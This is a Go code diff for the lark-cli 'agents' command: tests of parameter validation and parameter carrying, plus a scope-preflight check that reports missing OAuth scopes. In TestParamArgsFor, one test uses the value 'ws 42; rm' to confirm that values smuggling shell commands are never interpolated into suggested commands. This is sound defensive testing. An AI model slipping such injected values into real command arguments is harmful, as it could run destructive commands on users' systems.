+				{Name: "filter", Type: "object", Desc: "过滤条件", Fields: []iagents.CardParam{
+					{Name: "region", Enum: []string{"east", "west"}, Required: true},
+					{Name: "min_amount", Type: "number", Min: iagents.Float(0)},
+					{Name: "active", Type: "boolean", Default: "true"},
+				}},
+			},
+			Handler: func(context.Context, iagents.Runtime, iagents.SendInput) (*iagents.AgentTask, error) { return nil, nil },
+		},
+		GetTask: iagents.TaskGetOp{
+			Params:  []iagents.CardParam{trace},
+			Handler: func(context.Context, iagents.Runtime, string) (*iagents.AgentTask, error) { return nil, nil },
+		},
+	}
+}
+
+// TestValidateParams_ObjectDottedChannel pins the primary object transport:
+// dotted leaves validate with leaf rules, defaults backfill per leaf, and the
+// canonical Resolved form is flat dotted keys.
+func TestValidateParams_ObjectDottedChannel(t *testing.T) {
+	spec := objSpec()
+	vp, err := validateParams(
+		[]string{"trace_tag=t1", "filter.region=east", "filter.min_amount=100"},
+		spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
+	if err != nil {
+		t.Fatalf("valid dotted set should pass: %v", err)
+	}
+	if vp.Resolved["filter.region"] != "east" || vp.Resolved["filter.min_amount"] != "100" {
+		t.Errorf("dotted leaves should land flat in Resolved, got %v", vp.Resolved)
+	}
+	if vp.Resolved["filter.active"] != "true" {
+		t.Errorf("leaf default should backfill, got %v", vp.Resolved)
+	}
+
+	// leaf teaching errors carry the dotted path
+	_, err = validateParams([]string{"trace_tag=t1", "filter.region=north"}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
+	if err == nil || !strings.Contains(err.Error(), "filter.region") || !strings.Contains(err.Error(), "east|west") {
+		t.Fatalf("leaf enum violation should carry the dotted path + full set, got %v", err)
+	}
+	// unknown leaf lists the object's field set
+	_, err = validateParams([]string{"trace_tag=t1", "filter.region=east", "filter.regoin=east"}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
+	if err == nil || !strings.Contains(err.Error()+errHint(err), "filter 可用字段") {
+		t.Fatalf("unknown leaf should list the field set, got %v", err)
+	}
+	// missing required leaf reported with dotted name
+	_, err = validateParams([]string{"trace_tag=t1"}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
+	if err == nil || !strings.Contains(err.Error(), "filter.region") {
+		t.Fatalf("missing required leaf should be reported by dotted name, got %v", err)
+	}
+}
+
+// TestValidateParams_ObjectJSONChannel pins the fallback transport: a JSON
+// value validates per leaf and NORMALIZES into the same flat dotted keys — the
+// provider cannot tell which channel the caller used. Mixing channels for one
+// object is rejected.
+func TestValidateParams_ObjectJSONChannel(t *testing.T) {
+	spec := objSpec()
+	vp, err := validateParams(
+		[]string{"trace_tag=t1", `filter={"region":"east","min_amount":100}`},
+		spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
+	if err != nil {
+		t.Fatalf("valid JSON object should pass: %v", err)
+	}
+	if vp.Resolved["filter.region"] != "east" || vp.Resolved["filter.min_amount"] != "100" {
+		t.Errorf("JSON members should normalize to flat dotted keys (numbers literal), got %v", vp.Resolved)
+	}
+	if vp.Resolved["filter.active"] != "true" {
+		t.Errorf("leaf default should backfill on the JSON channel too, got %v", vp.Resolved)
+	}
+
+	// invalid JSON → teaching error pointing at the dotted alternative（多违规时
+	// 摘要在 message、明细在 params[]，用 listReasons 断言）
+	_, err = validateParams([]string{"trace_tag=t1", "filter={not json"}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
+	if err == nil || !strings.Contains(listReasons(err), "JSON 无法解析") {
+		t.Fatalf("bad JSON should teach, got %v", err)
+	}
+	if !strings.Contains(listReasons(err), "点路径") {
+		t.Fatalf("bad JSON error should point at the dotted alternative, got %v", listReasons(err))
+	}
+	// member enum violation carries the dotted path
+	_, err = validateParams([]string{"trace_tag=t1", `filter={"region":"north"}`}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
+	if err == nil || !strings.Contains(err.Error(), "filter.region") {
+		t.Fatalf("JSON member violation should carry the dotted path, got %v", err)
+	}
+	// unknown member listed against the field set
+	_, err = validateParams([]string{"trace_tag=t1", `filter={"region":"east","foo":1}`}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
+	if err == nil || !strings.Contains(err.Error()+errHint(err), "filter 可用字段") {
+		t.Fatalf("unknown JSON member should list fields, got %v", err)
+	}
+	// channel mixing rejected
+	_, err = validateParams([]string{"trace_tag=t1", `filter={"region":"east"}`, "filter.active=false"}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
+	if err == nil || !strings.Contains(err.Error()+listReasons(err), "混合提供") {
+		t.Fatalf("channel mixing should be rejected, got %v", err)
+	}
+}
+
+// listReasons flattens all violation reasons for containment asserts.
+func listReasons(err error) string {
+	var verr *errs.ValidationError
+	if !errors.As(err, &verr) {
+		return ""
+	}
+	var b strings.Builder
+	for _, v := range verr.Params {
+		b.WriteString(v.Reason)
+	}
+	return b.String()
+}
+
+// TestParamArgsFor_ObjectAndNoCarry pins the carry semantics: object leaves
+// carry as ordinary scalars; NoCarry params never ride literally — required
+// ones degrade to placeholders so the caller supplies a FRESH value.
+func TestParamArgsFor_ObjectAndNoCarry(t *testing.T) {
+	spec := objSpec()
+	given := map[string]string{"trace_tag": "t1", "filter.region": "east", "filter.min_amount": "100"}
+	args, tpl := paramArgsFor(spec, iagents.VerbSend, given)
+	if strings.Contains(args, "trace_tag=t1") {
+		t.Errorf("NoCarry param must never ride literally, got %q", args)
+	}
+	if !strings.Contains(args, "--param trace_tag=<trace_tag>") || !tpl {
+		t.Errorf("required NoCarry should degrade to a placeholder, got %q tpl=%v", args, tpl)
+	}
+	if !strings.Contains(args, "--param filter.region=east") || !strings.Contains(args, "--param filter.min_amount=100") {
+		t.Errorf("object leaves should carry as ordinary scalars, got %q", args)
+	}
+	// target verb without the object (task_get) → only its own declaration carries
+	args, _ = paramArgsFor(spec, iagents.VerbTaskGet, given)
+	if strings.Contains(args, "filter") {
+		t.Errorf("params undeclared on the target verb must not carry, got %q", args)
+	}
+}
+
+func errHint(err error) string {
+	if p, ok := errs.ProblemOf(err); ok {
+		return p.Hint
+	}
+	return ""
+}
+
+// TestValidateParams_DefaultBackfill pins Resolved vs Given: defaults land in
+// Resolved (what the hook sees) but never in Given (what meta.next carries).
+func TestValidateParams_DefaultBackfill(t *testing.T) {
+	spec := paramSpec()
+	vp, err := validateParams([]string{"workspace_id=ws_42"}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
+	if err != nil {
+		t.Fatalf("should pass: %v", err)
+	}
+	if vp.Resolved["priority"] != "normal" || vp.Resolved["max_results"] != "20" {
+		t.Errorf("defaults should backfill Resolved, got %v", vp.Resolved)
+	}
+	if _, ok := vp.Given["priority"]; ok {
+		t.Errorf("defaults must NOT appear in Given (meta.next noise), got %v", vp.Given)
+	}
+	// an explicitly provided value overrides the default in Resolved
+	vp2, _ := validateParams([]string{"workspace_id=ws_42", "priority=high"}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
+	if vp2.Resolved["priority"] != "high" || vp2.Given["priority"] != "high" {
+		t.Errorf("explicit value should override default, got %v / %v", vp2.Resolved, vp2.Given)
+	}
+}
+
+// TestParamArgsFor pins the three-way carry rule.
+func TestParamArgsFor(t *testing.T) {
+	spec := paramSpec()
+	// 1) given + whitelisted → literal carry (declaration order)
+	args, tpl := paramArgsFor(spec, iagents.VerbSend, map[string]string{"workspace_id": "ws_42", "priority": "high"})
+	if args != " --param workspace_id=ws_42 --param priority=high" || tpl {
+		t.Errorf("literal carry wrong: %q tpl=%v", args, tpl)
+	}
+	// 2) given but whitelist-failing → required degrades to placeholder,
+	//    optional drops
+	args, tpl = paramArgsFor(spec, iagents.VerbSend, map[string]string{"workspace_id": "ws 42; rm", "priority": "值 带 空格"})
+	if !strings.Contains(args, "--param workspace_id=<workspace_id>") || strings.Contains(args, "priority") || !tpl {
+		t.Errorf("degrade rule wrong: %q tpl=%v", args, tpl)
+	}
+	// 3) absent but required on the target verb → placeholder (cross-verb hole)
+	args, tpl = paramArgsFor(spec, iagents.VerbTaskList, map[string]string{})
+	if args != " --param workspace_id=<workspace_id>" || !tpl {
+		t.Errorf("required-absent placeholder wrong: %q tpl=%v", args, tpl)
+	}
+	// nil spec / unknown verb carry nothing
+	if a, _ := paramArgsFor(nil, iagents.VerbSend, nil); a != "" {
+		t.Errorf("nil spec should carry nothing, got %q", a)
+	}
+}
+
+// TestNextForTaskCarriesParams pins the wired outcome: a send with given params
+// yields a poll hint carrying them literally.
+func TestNextForTaskCarriesParams(t *testing.T) {
+	spec := paramSpec()
+	task := &iagents.AgentTask{TaskID: "task_1", State: iagents.StateWorking}
+	// task_get declares no params on this spec → nothing to carry for the poll
+	next := nextForTask("acme:reporter", task, spec, map[string]string{"workspace_id": "ws_42"}, iagents.VerbSend)
+	if len(next) != 1 || strings.Contains(next[0].Command, "--param") {
+		t.Fatalf("task_get declares no params, poll hint should carry none: %+v", next)
+	}
+	// give task_get a required param → the poll hint must carry it
+	spec.GetTask.Params = []iagents.CardParam{{Name: "workspace_id", Type: "string", Required: true}}
+	next = nextForTask("acme:reporter", task, spec, map[string]string{"workspace_id": "ws_42"}, iagents.VerbSend)
+	if !strings.Contains(next[0].Command, "--param workspace_id=ws_42") {
+		t.Fatalf("poll hint should carry the given required param: %+v", next)
+	}
+	// absent → placeholder + template
+	next = nextForTask("acme:reporter", task, spec, nil, iagents.VerbSend)
+	if !strings.Contains(next[0].Command, "--param workspace_id=<workspace_id>") || !next[0].Template {
+		t.Fatalf("absent required should degrade to placeholder+template: %+v", next)
+	}
+}
+
+// TestArtifactNext pins the per-artifact download hints: terminal task +
+// wired DownloadArtifact → one template hint per whitelisted artifact id;
+// whitelist-failing ids are skipped (never interpolated).
+func TestArtifactNext(t *testing.T) {
+	spec := paramSpec()
+	spec.DownloadArtifact = iagents.ArtifactDownloadOp{
+		Params:  []iagents.CardParam{{Name: "workspace_id", Type: "string", Required: true}},
+		Handler: func(context.Context, iagents.Runtime, string, string) (*iagents.ArtifactData, error) { return nil, nil },
+	}
+	task := &iagents.AgentTask{
+		TaskID: "task_1", State: iagents.StateCompleted, IsTerminal: true,
+		Artifacts: []iagents.Artifact{{ID: "art_1"}, {ID: "bad;id"}, {ID: "art_2"}},
+	}
+	next := nextForTask("acme:reporter", task, spec, map[string]string{"workspace_id": "ws_42"}, iagents.VerbSend)
+	var downloads []string
+	for _, n := range next {
+		if strings.Contains(n.Command, "--artifact") {
+			downloads = append(downloads, n.Command)
+			if !n.Template {
+				t.Errorf("download hint has a -o placeholder, must be template: %+v", n)
+			}
+		}
+	}
+	if len(downloads) != 2 {
+		t.Fatalf("want 2 download hints (bad;id skipped), got %d: %v", len(downloads), downloads)
+	}
+	for _, c := range downloads {
+		if !strings.Contains(c, "--param workspace_id=ws_42") || !strings.Contains(c, "-o <保存路径>") {
+			t.Errorf("download hint should carry params and the -o placeholder: %q", c)
+		}
+		if strings.Contains(c, "bad;id") {
+			t.Errorf("whitelist-failing artifact id leaked: %q", c)
+		}
+	}
+	// unwired DownloadArtifact → no hints
+	spec.DownloadArtifact = iagents.ArtifactDownloadOp{}
+	if n := artifactNext("acme:reporter", task, spec, nil); n != nil {
+		t.Errorf("unwired artifact_download should produce no hints, got %+v", n)
+	}
+}
+
+// TestCardOperationSubquery pins `card --operation <verb>` against the real
+// example provider: reporter's send contract carries command + parameters;
+// unknown verb lists the vocabulary; unwired verb answers supported:false; a
+// wired zero-param verb answers parameters:[].
+func TestCardOperationSubquery(t *testing.T) {
+	decode := func(t *testing.T, opts *cardOptions) map[string]any {
+		t.Helper()
+		out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+		if err := agentCardRun(opts); err != nil {
+			t.Fatalf("card --operation should not error: %v", err)
+		}
+		var env struct {
+			Data map[string]any `json:"data"`
+		}
+		if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+			t.Fatalf("invalid envelope: %v", err)
+		}
+		return env.Data
+	}
+
+	opts, _ := cardTestOpts(t, "example:reporter")
+	opts.Operation = "send"
+	data := decode(t, opts)
+	if data["operation"] != "send" || data["supported"] != true {
+		t.Fatalf("send contract wrong: %v", data)
+	}
+	if cmdStr, _ := data["command"].(string); !strings.Contains(cmdStr, "lark-cli agents send") {
+		t.Errorf("contract should carry the command template, got %v", data["command"])
+	}
+	params, _ := data["parameters"].([]any)
+	if len(params) != 3 {
+		t.Fatalf("reporter send declares 3 demo params (2 scalars + render object), got %v", data["parameters"])
+	}
+	first, _ := params[0].(map[string]any)
+	if first["name"] != "report_format" || first["default"] != "csv" {
+		t.Errorf("first param should be report_format with default csv, got %v", first)
+	}
+
+	// unwired verb → supported:false
+	opts2, _ := cardTestOpts(t, "example:echo")
+	opts2.Operation = "task_cancel"
+	data = decode(t, opts2)
+	if data["supported"] != false {
+		t.Errorf("echo task_cancel should be supported:false, got %v", data)
+	}
+
+	// wired zero-param verb → parameters []
+	opts3, _ := cardTestOpts(t, "example:echo")
+	opts3.Operation = "context_delete"
+	data = decode(t, opts3)
+	if data["supported"] != true {
+		t.Fatalf("echo context_delete should be supported, got %v", data)
+	}
+	if ps, ok := data["parameters"].([]any); !ok || len(ps) != 0 {
+		t.Errorf("zero-param op should answer parameters:[], got %v", data["parameters"])
+	}
+
+	// unknown verb → invalid_argument listing the vocabulary
+	opts4, _ := cardTestOpts(t, "example:echo")
+	opts4.Operation = "sennd"
+	err := agentCardRun(opts4)
+	if err == nil || !strings.Contains(err.Error(), "task_get") || !strings.Contains(err.Error(), "all") {
+		t.Fatalf("unknown verb should list the vocabulary, got %v", err)
+	}
+	if p, ok := errs.ProblemOf(err); !ok || p.Subtype != errs.SubtypeInvalidArgument {
+		t.Fatalf("unknown verb should be invalid_argument, got %+v", p)
+	}
+}
+
+// TestCardOperationInstanceShape pins the review fix: on an INSTANCE provider
+// (fakeflow), the single-verb --operation output reuses the struct — an
+// unwired verb carries NO command key (omitempty, not command:"") and every
+// response carries parameters_source:"template".
+func TestCardOperationInstanceShape(t *testing.T) {
+	registerScripted()
+	opts, _ := cardTestOpts(t, "fakemin:agt_x")
+	opts.Operation = "task_cancel" // minimalSpec leaves CancelTask unwired
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+	if err := agentCardRun(opts); err != nil {
+		t.Fatalf("card --operation should not error: %v", err)
+	}
+	var env struct {
+		Data map[string]any `json:"data"`
+	}
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("invalid envelope: %v", err)
+	}
+	if env.Data["supported"] != false {
+		t.Fatalf("task_cancel should be unsupported on the scripted spec, got %v", env.Data)
+	}
+	if _, present := env.Data["command"]; present {
+		t.Errorf("unwired verb must not carry a command key (omitempty), got %v", env.Data["command"])
+	}
+	if env.Data["parameters_source"] != "template" {
+		t.Errorf("instance provider --operation should carry parameters_source:template, got %v", env.Data)
+	}
+}
+
+// TestCardOperationAll pins the one-shot full map: every verb present, wired
+// ones carrying command+parameters.
+func TestCardOperationAll(t *testing.T) {
+	opts, _ := cardTestOpts(t, "example:reporter")
+	opts.Operation = "all"
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+	if err := agentCardRun(opts); err != nil {
+		t.Fatalf("card --operation all should not error: %v", err)
+	}
+	var env struct {
+		Data struct {
+			Operations map[string]map[string]any `json:"operations"`
+		} `json:"data"`
+	}
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("invalid envelope: %v", err)
+	}
+	if len(env.Data.Operations) != 8 {
+		t.Fatalf("all should enumerate 8 operations, got %d", len(env.Data.Operations))
+	}
+	send := env.Data.Operations["send"]
+	if send["supported"] != true {
+		t.Errorf("reporter send should be supported, got %v", send)
+	}
+	if ps, _ := send["parameters"].([]any); len(ps) != 3 {
+		t.Errorf("reporter send should carry its 3 demo params, got %v", send["parameters"])
+	}
+}
+
+// TestCardLeanHasParameters pins the lean card cue on the real reporter: send
+// appears in has_parameters (it declares demo params), context_delete does not.
+func TestCardLeanHasParameters(t *testing.T) {
+	opts, _ := cardTestOpts(t, "example:reporter")
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+	if err := agentCardRun(opts); err != nil {
+		t.Fatalf("card should not error: %v", err)
+	}
+	var env struct {
+		Data struct {
+			HasParameters []string `json:"has_parameters"`
+		} `json:"data"`
+	}
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("invalid envelope: %v", err)
+	}
+	if len(env.Data.HasParameters) != 1 || env.Data.HasParameters[0] != "send" {
+		t.Fatalf("reporter has_parameters should be [send], got %v", env.Data.HasParameters)
+	}
+}
+
+// TestSendValidatesDeclaredParams drives the full send path against the real
+// reporter declaration: enum violation fails offline; a valid --param passes
+// through to dry-run with defaults backfilled.
+func TestSendValidatesDeclaredParams(t *testing.T) {
+	opts := sendTestOpts(t)
+	opts.Ref = "example:reporter"
+	opts.Text = "报表"
+	opts.Params = []string{"report_format=pdf"}
+	err := agentSendRun(opts)
+	if err == nil || !strings.Contains(err.Error(), "csv|xlsx") {
+		t.Fatalf("enum violation should fail offline listing the set, got %v", err)
+	}
+
+	opts2 := sendTestOpts(t)
+	opts2.Ref = "example:reporter"
+	opts2.Text = "报表"
+	opts2.Params = []string{"report_format=xlsx"}
+	opts2.DryRun = true
+	out := opts2.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+	if err := agentSendRun(opts2); err != nil {
+		t.Fatalf("valid param should pass: %v", err)
+	}
+	var env struct {
+		Data struct {
+			WouldSend struct {
+				Params map[string]string `json:"params"`
+			} `json:"would_send"`
+		} `json:"data"`
+	}
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("invalid envelope: %v", err)
+	}
+	if env.Data.WouldSend.Params["report_format"] != "xlsx" || env.Data.WouldSend.Params["quarters"] != "4" {
+		t.Fatalf("dry-run should show the resolved params (default quarters=4 backfilled), got %v", env.Data.WouldSend.Params)
+	}
+}
+
+// TestListRejectsParams pins the two list guards: --param without a scheme is
+// rejected outright; --param on a catalog scheme validates against the empty
+// set with the list-specific hint.
+func TestListRejectsParams(t *testing.T) {
+	opts, _ := listFactory()
+	opts.Params = []string{"env=boe"}
+	err := agentListRun(opts)
+	if err == nil || !strings.Contains(err.Error(), "仅在 agents list <scheme>") {
+		t.Fatalf("no-scheme --param should be rejected, got %v", err)
+	}
+
+	opts2, _ := listFactory()
+	opts2.Scheme = "example"
+	opts2.Params = []string{"env=boe"}
+	err = agentListRun(opts2)
+	if err == nil {
+		t.Fatal("catalog scheme with --param should be rejected (zero-param op)")
+	}
+	if p, ok := errs.ProblemOf(err); !ok || !strings.Contains(p.Hint, "list_parameters") {
+		t.Fatalf("list param error hint should point at providers[].list_parameters, got %+v", p)
+	}
+}

cmd/agents/preflight.go

@@ -0,0 +1,216 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"context"
+	"encoding/json"
+	"fmt"
+	"sort"
+	"strings"
+	"time"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/appmeta"
+	larkauth "github.com/larksuite/cli/internal/auth"
+	"github.com/larksuite/cli/internal/client"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/core"
+)
+
+// This file implements the scope preflight: after the provider is resolved and
+// before the real API call, the session's available scopes are checked against
+// the provider's RequiredScopes. The check is all-or-nothing — any real API verb
+// requires the provider's entire scope set. For USER identity the scope list is
+// read locally from the credential cache (no network); for BOT identity it is
+// the app's published TenantScopes, fetched best-effort (a fetch failure
+// downgrades the check to a no-op, like event's console precheck). A missing
+// scope surfaces as a missing_scope permission error (exit 3) with an
+// identity-appropriate remediation hint instead of a round-trip API 99991679.
+// `--dry-run` never reaches it (dry-run returns before the provider is resolved).
+
+// storedUserScopes is the token-scope read seam: it returns the granted scope
+// list of the stored user token from the LOCAL credential cache (keychain via
+// GetStoredToken — same read path as `auth check`), issuing no network
+// request. nil/empty means "no usable local scope list" and the caller skips
+// preflight. Tests swap it so no unit test touches the real keychain.
+var storedUserScopes = func(f *cmdutil.Factory) []string {
+	if f == nil || f.Config == nil {
+		return nil
+	}
+	config, err := f.Config()
+	if err != nil || config == nil || config.UserOpenId == "" {
+		return nil
+	}
+	stored := larkauth.GetStoredToken(config.AppID, config.UserOpenId)
+	if stored == nil {
+		return nil
+	}
+	return strings.Fields(stored.Scope)
+}
+
+// preflightInput is the pure input of preflightScopes, so the check itself is
+// unit-testable without a Factory, keychain, or provider client.
+type preflightInput struct {
+	Identity    core.Identity
+	TokenScopes []string
+	Provider    iagents.Provider
+}
+
+// preflightScopes runs the local scope check. It returns nil when the check
+// does not apply — bot identity (handled elsewhere) or an unreadable/empty local
+// scope list (the downstream not_configured / need-authorization logic owns
+// that). The check is all-or-nothing: when any scope in the provider's
+// RequiredScopes set is not granted it returns the missing_scope permission
+// error (exit 3, mirroring the event-consume scope preflight) carrying every
+// missing scope, with a re-auth hint listing ONLY the missing scopes.
+//
+// The hint lists just the missing scopes (not a merge with existing grants):
+// the open platform authorizes INCREMENTALLY — re-login with only the missing
+// scopes keeps every previously-granted scope — so re-requesting the existing
+// grants would be redundant. This mirrors cmd/event's scopeRemediationHint.
+func preflightScopes(in preflightInput) error {
+	// No usable scope list → skip (user not logged in, or bot has no published
+	// version / the fetch failed); the downstream not_configured / API error owns
+	// that path.
+	if len(in.TokenScopes) == 0 {
+		return nil
+	}
+	// Only user / bot carry a scope-list concept.
+	if in.Identity != core.AsUser && !in.Identity.IsBot() {
+		return nil
+	}
+
+	granted := make(map[string]bool, len(in.TokenScopes))
+	for _, s := range in.TokenScopes {
+		granted[s] = true
+	}
+
+	var missing []string
+	for _, scope := range in.Provider.RequiredScopes {
+		if !granted[scope] {
+			missing = append(missing, scope)
+		}
+	}
+	if len(missing) == 0 {
+		return nil
+	}
+	sort.Strings(missing)
+
+	return errs.NewPermissionError(errs.SubtypeMissingScope,
+		"当前 %s 身份缺少本命令所需 scope: %s", in.Identity, strings.Join(missing, ", ")).
+		WithIdentity(string(in.Identity)).
+		WithMissingScopes(missing...).
+		WithHint("%s", scopeRemediationHint(in.Identity, missing))
+}
+
+// scopeRemediationHint returns an identity-appropriate fix for the missing
+// scopes, mirroring cmd/event's scopeRemediationHint split:
+//   - user: re-login requesting ONLY the missing scopes — the open platform
+//     authorizes incrementally, so previously-granted scopes are preserved (no
+//     merge needed).
+//   - bot: the tenant token's scopes come from the app's published version, so
+//     the fix is to add the scopes to the app in the developer console and
+//     re-publish — not a per-token re-auth. (event additionally offers a
+//     one-click scan-to-enable deep link; that generator lives in cmd/event and
+//     is not duplicated here.)
+func scopeRemediationHint(id core.Identity, missing []string) string {
+	if id.IsBot() {
+		return fmt.Sprintf(
+			"the bot (tenant) token's scopes come from the app's published version — add these scopes to the app in the developer console and re-publish: %s",
+			strings.Join(missing, " "))
+	}
+	// Canonical repo-wide auth login --scope remediation phrasing (see
+	// cmd/event, shortcuts/*). Only the missing scopes are listed — the open
+	// platform authorizes incrementally, so existing grants are preserved.
+	return fmt.Sprintf(
+		"run `lark-cli auth login --scope \"%s\"` in the background. It blocks and outputs a verification URL — retrieve the URL and open it in a browser to complete login.",
+		strings.Join(missing, " "))
+}
+
+// preflightScopesForRef is the ref-addressed wrapper: it parses ref for its
+// scheme and delegates to preflightScopesForScheme. An unparsable ref yields nil
+// — the preflight is an accelerator, never a new failure mode; the paths that
+// validate ref/scheme for real have already run inside resolveSpec.
+func preflightScopesForRef(f *cmdutil.Factory, id core.Identity, ref string) error {
+	r, err := iagents.ParseRef(ref)
+	if err != nil {
+		return nil //nolint:nilerr // preflight is best-effort: resolveSpec already surfaced any real ref error
+	}
+	return preflightScopesForScheme(f, id, r.Scheme)
+}
+
+// preflightScopesForScheme is the scheme-keyed core of the preflight, shared by
+// the ref-addressed verbs (via preflightScopesForRef) and the online
+// `agents list <scheme>` enumeration, which has no agent_id. It resolves the
+// provider registration for the scheme, reads the stored scopes through the
+// identity-appropriate seam, and runs the same all-or-nothing check against the
+// provider's full RequiredScopes. Any gap in its own inputs (nil Factory,
+// unregistered scheme, empty RequiredScopes) yields nil.
+func preflightScopesForScheme(f *cmdutil.Factory, id core.Identity, scheme string) error {
+	if f == nil {
+		return nil
+	}
+	prov, ok := iagents.Info(scheme)
+	if !ok || len(prov.RequiredScopes) == 0 {
+		return nil // no scopes to check (e.g. the example mock declares none)
+	}
+
+	var tokenScopes []string
+	switch {
+	case id == core.AsUser:
+		tokenScopes = storedUserScopes(f) // local keychain read, no network
+	case id.IsBot():
+		tokenScopes = botTenantScopes(f) // best-effort app-version fetch
+	default:
+		return nil
+	}
+	return preflightScopes(preflightInput{Identity: id, TokenScopes: tokenScopes, Provider: prov})
+}
+
+// botTenantScopes is the bot-scope read seam: it fetches the app's
+// currently-published version and returns its TenantScopes (the scopes a tenant
+// token actually carries). Any failure — no client, no published version,
+// network / appmeta error — yields nil so the caller skips the check (weak
+// dependency, mirroring event's console precheck downgrade). Tests swap it so no
+// unit test touches the network.
+var botTenantScopes = func(f *cmdutil.Factory) []string {
+	if f == nil || f.Config == nil {
+		return nil
+	}
+	config, err := f.Config()
+	if err != nil || config == nil || config.AppID == "" {
+		return nil
+	}
+	apiClient, err := f.NewAPIClient()
+	if err != nil {
+		return nil
+	}
+	ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
+	defer cancel()
+	appVer, err := appmeta.FetchCurrentPublished(ctx, &appmetaBotClient{client: apiClient}, config.AppID)
+	if err != nil || appVer == nil {
+		return nil
+	}
+	return appVer.TenantScopes
+}
+
+// appmetaBotClient adapts *client.APIClient to appmeta's APIClient shape under a
+// pinned bot identity (/app_versions is app-level and rejects UAT). It returns
+// the raw JSON body for appmeta to project; any non-typed transport error is
+// classified so callers only see typed errs.* values (though botTenantScopes
+// treats every error as a no-op anyway).
+type appmetaBotClient struct{ client *client.APIClient }
+
+func (c *appmetaBotClient) CallAPI(ctx context.Context, method, path string, body interface{}) (json.RawMessage, error) {
+	resp, err := c.client.DoAPI(ctx, client.RawApiRequest{Method: method, URL: path, Data: body, As: core.AsBot})
+	if err != nil {
+		if _, ok := errs.ProblemOf(err); ok {
+			return nil, err
+		}
+		return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "api %s %s: %s", method, path, err).WithCause(err)
+	}
+	return json.RawMessage(resp.RawBody), nil
+}

cmd/agents/preflight_test.go

@@ -0,0 +1,434 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"context"
+	"errors"
+	"reflect"
+	"strings"
+	"testing"
+
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/core"
+	"github.com/larksuite/cli/internal/httpmock"
+	"github.com/larksuite/cli/internal/output"
+)
+
+// scopedInfo fetches the registered fakescoped ProviderInfo (4 RequiredScopes,
+// see scripted_provider_test.go) — the all-or-nothing preflight requires every
+// one of fakescopedAllScopes for any real API verb.
+func scopedInfo(t *testing.T) iagents.Provider {
+	t.Helper()
+	registerScripted()
+	prov, ok := iagents.Info("fakescoped")
+	if !ok {
+		t.Fatal("fakescoped provider should be registered")
+	}
+	return prov
+}
+
+// requirePreflightError asserts err is the missing_scope permission error
+// (exit 3, mirroring the event-consume scope preflight) and returns the typed
+// value for field assertions.
+func requirePreflightError(t *testing.T, err error) *errs.PermissionError {
+	t.Helper()
+	if err == nil {
+		t.Fatal("want missing_scope error, got nil")
+	}
+	var pe *errs.PermissionError
+	if !errors.As(err, &pe) {
+		t.Fatalf("want *errs.PermissionError, got %T: %v", err, err)
+	}
+	if pe.Subtype != errs.SubtypeMissingScope {
+		t.Fatalf("subtype should be missing_scope, got %q", pe.Subtype)
+	}
+	if code := output.ExitCodeOf(err); code != 3 {
+		t.Fatalf("exit code should be 3, got %d", code)
+	}
+	return pe
+}
+
+// TestPreflightReportsMissingWithIncrementalHint is the all-or-nothing pin: a
+// user token holding only some of the provider's scopes fails with EVERY missing
+// scope named (sorted) in both the message and missing_scopes, and a re-auth
+// hint listing ONLY the missing scopes (the open platform authorizes
+// incrementally, so re-login with just the missing keeps existing grants — no
+// merge needed, mirroring cmd/event).
+func TestPreflightReportsMissingWithIncrementalHint(t *testing.T) {
+	err := preflightScopes(preflightInput{
+		Identity:    core.AsUser,
+		TokenScopes: []string{"im:message", "fakescoped:agent_chat:write"},
+		Provider:    scopedInfo(t),
+	})
+	ve := requirePreflightError(t, err)
+
+	wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
+	if !strings.Contains(ve.Message, "当前 user 身份缺少本命令所需 scope: "+strings.Join(wantMissing, ", ")) {
+		t.Errorf("message should list all missing scopes, got %q", ve.Message)
+	}
+	if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
+		t.Errorf("missing_scopes should be %v (all missing, stable sort), got %v", wantMissing, ve.MissingScopes)
+	}
+	// Incremental hint: ONLY the missing scopes (not merged with existing grants).
+	wantScopeArg := `lark-cli auth login --scope "fakescoped:agent_artifact:read fakescoped:agent_attachment:write fakescoped:agent_chat:read"`
+	if !strings.Contains(ve.Hint, wantScopeArg) {
+		t.Errorf("hint should contain only the missing scopes %q, got %q", wantScopeArg, ve.Hint)
+	}
+	// And must NOT re-list an already-granted scope.
+	if strings.Contains(ve.Hint, "im:message") {
+		t.Errorf("incremental hint must not re-request already-granted scopes, got %q", ve.Hint)
+	}
+}
+
